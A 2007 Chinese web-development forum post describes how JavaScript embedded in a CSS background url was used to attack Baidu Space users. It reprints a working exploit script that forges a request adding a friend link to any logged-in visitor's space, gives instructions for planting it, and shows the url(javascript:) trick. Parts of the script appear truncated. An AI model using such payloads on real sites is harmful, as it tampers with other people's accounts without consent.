热烈祝贺台州朗动科技的站长论坛隆重上线!(2012-05-28)    热烈庆祝伟大的祖国60周年生日 点击进来我们一起为她祝福吧(2009-09-26)    站长论坛禁止发布广告,一经发现立即删除。谢谢各位合作!.(2009-08-08)    热烈祝贺台州网址导航全面升级,全新版本上线!希望各位一如既往地支持台州网址导航的发展.(2009-03-28)    台州站长论坛恭祝各位新年快乐,牛年行大运!(2009-01-24)    台州Link正式更名为台州网址导航,专业做以台州网址为主的网址导航!(2008-05-23)    热烈祝贺台州Link资讯改名为中国站长资讯!希望在以后日子里得到大家的大力支持和帮助!(2008-04-10)    热烈祝贺台州Link论坛改名为台州站长论坛!希望大家继续支持和鼓励!(2008-04-10)    台州站长论坛原[社会琐碎]版块更名为[生活百科]版块!(2007-09-05)    特此通知:新台州站长论坛的数据信息全部升级成功!">特此通知:新台州站长论坛的数据信息全部升级成功!(2007-09-01)    台州站长论坛对未通过验证的会员进行合理的清除,请您谅解(2007-08-30)    台州网址导航|上网导航诚邀世界各地的网站友情链接和友谊联盟,共同引领网站导航、前进!(2007-08-30)    禁止发广告之类的帖,已发现立即删除!(2007-08-30)    希望各位上传与下载有用资源和最新信息(2007-08-30)    热烈祝贺台州站长论坛全面升级成功,全新上线!(2007-08-30)    
便民网址导航,轻松网上冲浪。
台州维博网络专业开发网站门户平台系统
您当前的位置: 首页 » JavaScript/JQuery编程 » 在CSS样式表中调用JAVASCRIPT脚本的安全问题

在CSS样式表中调用JAVASCRIPT脚本的安全问题

论坛链接
  • 在CSS样式表中调用JAVASCRIPT脚本的安全问题
  • 发布时间:2007-10-06 14:43:34    浏览数:7273    发布者:tznktg    设置字体【   
近看了百度空间关于JS破坏漏洞的文章:
  百度空间上线后,很多网友为了宣传自己的百度空间,疯狂复制css代码。但与此同时也出现了百度空间的网络黑手,利用百度空间的功能,加入自己的代码,而这些代码又是恶意的,导致百度空间的用户遭遇危险。

  这是一个网友发来的短信求助,原文如下:

  有个黑客用javascript把我的链接改了..并威胁我如果删除连接就删除我的空间,最怕的就是这样的人..我想问您了解一下他能用同样的手段篡改我页面的其他信息吗..最好能告诉小弟对付这样的人的办法,我实在没辙了,好郁闷..谢谢..

  当时笔者找到该"黑客"的空间,轻松发现其利用css代码加入js代码,然后又利用js代码的功能,分析百度空间在提交数据时的参数,构造出来一个恶意的js代码,功能是提交一个加入友情链接的请求到百度空间,导致访问该网站的已登陆百度空间用户在自己空间上自动的加一个友情链接.

  下边是利用代码:javascript:document.body.onload = function(){
var req = null;if(window.XMLHttpRequest) req = new XMLHttpRequest();
else if(window.ActiveXObject){
var msxml = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for(var i=0;i
try{req.overrideMimeType('text/xml')}catch(e){}
}
req.open('get','.',false);
req.send();
var s=req.responseText;
p=s.indexOf('passport.baidu.com/?logout');
if(p>0)
{
p=s.indexOf('');
if(p>0)
{
p=s.indexOf('/',p);
p2=s.indexOf(String.fromCharCode(34),p);
var user=s.substring(p+1,p2);
var name='+%B0%D9%B6%C8%BF%D5%BC%E4%B7%A2%CC%FB%D6%FA%CA%D6 ';
var link='http://hi.baidu.com/haomm';
var desc='%CA%B9%C4%E3%B5%C4%B0%D9%B6%C8%BF%D5%BC%E4%D6%A7%B3%D6html%B7%A2%CC%FB';
var url='/'+user+'/commit';
var data='ct=6&cm=1&spRef='+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='+escape(desc);
req.open('post',url,false);
req.send(data);
}
}
}  分析:

  该方法危险等级:高级.构造相应的js代码可以删除用户空间的所有数据.该漏洞目前未发现有恶意删除的现象,但已足够危险,请用户小心.

  解决办法:

  由于攻击者可能利用任何用户名的百度空间提交增加,删除,更改的链接,所以目前没有完美解决办法.

  给已经受害者解决办法:删除恶意链接,不再在登陆的情况下访问其空间链接.

  利用方法,演示及声明:

  本空间加入了该漏洞代码的利用演示,使用方法:在自己空间css里面找到#header{},在里面加入上述代码即可.形式如:#header{height:200px;background:url("上文js代码");}请小心使用.

发现在CSS中居然可以调用JAVASCRIPT代码,这是以前从未注意到的地方!

主要原理是在CSS中通过设置背景对象的url属性来加入JS代码:类似如下:
body{
height:200px;
background:url(javascript:alert("台州网址导航!!www.tzlink.com"));
}
将这段代码随意插入到任何页面中都会执行其中的JS代码.

显然这开启了针对很多对于CSS具备自由编辑功能的很多BSP(BLOG服务提供商)的攻击思路,而对CSS入手的攻击目前作防范的很少.

从另一角度来看,设计系统可以在JS设计时考虑利用CSS进行包含和引用.这是很好的一个从JS控制CSS到CSS控制JS的一个反作用.
娱乐休闲专区A 影视预告B 音乐咖啡C 英语阶梯D 生活百科
网页编程专区E AMPZF HTMLG CSSH JSI ASPJ PHPK JSPL MySQLM AJAX
Linux技术区 N 系统管理O 服务器架设P 网络/硬件Q 编程序开发R 内核/嵌入
管理中心专区S 发布网址T 版主议事U 事务处理